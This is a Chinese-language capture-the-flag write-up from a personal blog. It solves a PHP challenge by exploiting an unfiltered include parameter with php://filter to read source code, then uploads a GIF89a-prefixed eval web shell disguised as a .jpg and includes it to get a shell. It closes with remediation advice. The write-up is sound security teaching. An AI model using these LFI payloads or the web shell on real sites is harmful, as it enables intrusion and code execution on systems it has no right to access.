freopen's Blog

phpinclude 题解

考点

  • include 参数可控导致任意文件包含(LFI)
  • 使用 php://filter 伪协议读取 PHP 源码
  • 弱文件上传校验与任意文件包含组合利用

0. 思路

f 参数被直接拼接到 include 中,没有任何过滤。使用 php://filter/convert.base64-encode/resource=flag.php 的源码以 Base64 形式读出,再解码即可获得源码中的 flag。

不能直接 include flag.php,因为文件中只是给变量赋值,没有输出内容,include 后页面不会回显变量。

1. 入口

访问 index.php?f=upload.php,返回一个上传表单,提交到 file.php

<form action="file.php" method="post" enctype="multipart/form-data">

上传点先放在一边,重点关注 f 参数。从参数命名来看,它很可能就是文件包含的入口。

2. 读取源码

include 进来的 PHP 文件会被执行,直接访问时看不到源码,因此套一层 Base64 过滤器:

$ curl -s 'http://sbus-023-phpinclude.zjusec.net/index.php?f=php://filter/convert.base64-encode/resource=index.php' | base64 -d

得到 index.php

<?php
    if(isset($_GET['f'])){
        include $_GET['f'];
    }else{
        header("Location: index.php?f=upload.php");
    }
?>

可以看到 f 被原样拼进 include,没有任何过滤。

再读取 file.php,关键代码如下:

<?php
    $filetype=["jpg","gif","png","rar","zip"];
    if ($_FILES["file"]["error"] > 0){
        ...
    }else{
        $file_type=explode(".",$_FILES["file"]["name"]);
        if (in_array($file_type[count($file_type)-1],$filetype)){
            ...
            $filename=date('Ymd').rand(100000,999999).".".$file_type[count($file_type)-1];
            move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
            ...

这里只校验文件名最后一个点之后的扩展名是否在白名单中,不检查文件内容。因此可以上传一个图片马,再通过 include 包含 upload/ 目录中的文件,进而 getshell。

3. 读取 flag

直接读取 flag.php 的源码:

$ curl -s 'http://sbus-023-phpinclude.zjusec.net/index.php?f=php://filter/convert.base64-encode/resource=flag.php' | base64 -d

4. 另一种思路:上传图片马 getshell

上传点只检查最后一个扩展名,不检查文件内容。因此,内容为 PHP 代码的 .jpg 文件也可以通过校验。这里顺手加上 GIF89a 图片头:

$ printf 'GIF89a\n<?php @eval($_POST["a"]) ?>' > shell.jpg
$ curl -F 'file=@shell.jpg' http://sbus-023-phpinclude.zjusec.net/file.php
Stored in: upload/20260905568363.jpg

文件名由日期和随机数组成,好在服务端会直接回显保存路径。

使用中国蚁剑连接:

使用中国蚁剑连接

进入 shell 后执行 cat flag.php,即可拿到 flag:

读取 flag

5. 总结

  • include 参数可控会导致任意文件包含。
  • 想读取 PHP 源码,必须使用 php://filter/convert.base64-encode/resource=xxx.php 包一层再解码;直接 include 只会把文件当作代码执行。
  • 弱文件上传校验(只检查最后一个扩展名、不检查文件内容)与任意文件包含组合后,可以进一步 getshell。

修复建议:

  1. 对包含的文件名使用白名单或目录限定,不要直接拼接用户输入。
  2. 上传目录尽量设置为不可执行,并同时校验文件扩展名和实际内容。